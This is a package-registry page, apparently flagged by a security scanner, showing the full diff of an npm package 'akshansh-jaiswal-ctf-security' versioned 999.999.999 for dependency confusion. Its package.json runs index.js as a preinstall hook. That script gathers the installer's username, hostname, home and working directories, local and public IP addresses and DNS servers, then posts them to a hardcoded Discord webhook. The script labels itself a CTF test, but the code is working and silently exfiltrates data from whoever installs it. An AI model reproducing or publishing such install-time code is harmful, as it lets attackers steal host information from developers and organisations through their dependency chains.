akshansh-jaiswal-ctf-security 999.999.999
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of akshansh-jaiswal-ctf-security might be problematic. Click here for more details.
- package/index.js +41 -0
- package/package.json +14 -0
package/index.js
ADDED
@@ -0,0 +1,41 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
const dns = require('dns');
|
4
|
+
|
5
|
+
const discordWebhookUrl = 'https://discord.com/api/webhooks/1193495191710089256/gbP4D1WCBOymeyH8Dk3wU0hQAn7KkeQcdJybmtWCRC3bQKCHpDM6bEGzox_Gn3OA-BDv';
|
6
|
+
|
7
|
+
|
8
|
+
function sendMessage(message) {
|
9
|
+
const payload = JSON.stringify({ content: message });
|
10
|
+
const parsedUrl = new URL(discordWebhookUrl);
|
11
|
+
const req = https.request({
|
12
|
+
hostname: parsedUrl.hostname,
|
13
|
+
path: parsedUrl.pathname,
|
14
|
+
method: 'POST',
|
15
|
+
headers: {
|
16
|
+
'Content-Type': 'application/json',
|
17
|
+
'Content-Length': Buffer.byteLength(payload)
|
18
|
+
}
|
19
|
+
});
|
20
|
+
req.write(payload);
|
21
|
+
req.end();
|
22
|
+
}
|
23
|
+
|
24
|
+
https.get('https://ipinfo.io/ip', (resp) => {
|
25
|
+
let data = '';
|
26
|
+
resp.on('data', (chunk) => { data += chunk; });
|
27
|
+
resp.on('end', () => {
|
28
|
+
const baseMessage = `Alert: CTF Dependency Confusion Attack Detected!
|
29
|
+
Current Directory: ${__dirname}
|
30
|
+
Home Directory: ${os.homedir()}
|
31
|
+
Hostname: ${os.hostname()}
|
32
|
+
Username: ${os.userInfo().username}
|
33
|
+
Local IP Address: ${(os.networkInterfaces()['eth0'] || [{ address: 'N/A' }])[0].address}
|
34
|
+
Public IP Address: ${data.trim()}
|
35
|
+
Dns-Server: ${dns.getServers().join(', ')}`;
|
36
|
+
|
37
|
+
sendMessage(baseMessage);
|
38
|
+
});
|
39
|
+
}).on("error", (err) => {
|
40
|
+
sendMessage(`Error fetching public IP: ${err.message}`);
|
41
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "akshansh-jaiswal-ctf-security",
|
3
|
+
"version": "999.999.999",
|
4
|
+
"description": "akshansh-security",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "akshansh",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
}
|
14
|
+
}
|